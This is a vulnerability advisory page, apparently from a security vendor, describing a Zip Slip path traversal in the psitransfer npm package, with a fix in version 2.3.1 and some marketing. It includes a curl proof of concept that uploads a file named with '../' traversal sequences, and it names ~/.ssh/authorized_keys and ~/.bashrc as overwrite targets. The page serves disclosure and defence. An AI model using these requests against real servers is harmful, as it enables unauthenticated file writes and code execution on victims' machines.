GHSA-xphh-5v4r-r3rx is a high-severity (CVSS 8.1) remote code execution vulnerability in psitransfer. A fix is available for psitransfer — see the affected versions and patch details below.
PsiTransfer has Zip Slip Path Traversal via TAR Archive Download
Real-World Exposure
psitransferReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. ../../../.ssh/authorized_keys). When a victim downloads the bucket as a .tar.gz archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.
Details
The vulnerability exists in the archive download functionality in lib/endpoints.js where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.
lib/endpoints.js:275
const entry = pack.entry({ name: info.metadata.name, size: info.size });
lib/endpoints.js:372
assert(meta.name, 'tus meta prop missing: name');
PoC
I. Upload file with malicious filename (no authentication required).
MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64)
SID=$(echo -n "evil" | base64)
RETENTION=$(echo -n "3600" | base64)
curl -X POST http://TARGET:3000/files \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Length: 15" \
-H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}"
II. Complete upload with PATCH
curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \
-H "Tus-Resumable: 1.0.0" \
-H "Upload-Offset: 0" \
-H "Content-Type: application/offset+octet-stream" \
-d "MALICIOUS_CONTENT"
III. Victim downloads and extracts TAR
curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz
tar -tzf files.tar.gz
Impact
Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc... No Authentication Required: Default configuration has uploadPass: false. Social Engineering Vector: Attacker sends malicious download link to victim.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | psitransfer | all versions | 2.3.1npm install psitransfer@2.3.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for psitransfer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update psitransfer to 2.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xphh-5v4r-r3rx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-xphh-5v4r-r3rx can be triaged on real exposure rather than presence alone.
Tailored to GHSA-xphh-5v4r-r3rx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xphh-5v4r-r3rx in your dependencies?
O3 Security finds GHSA-xphh-5v4r-r3rx across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.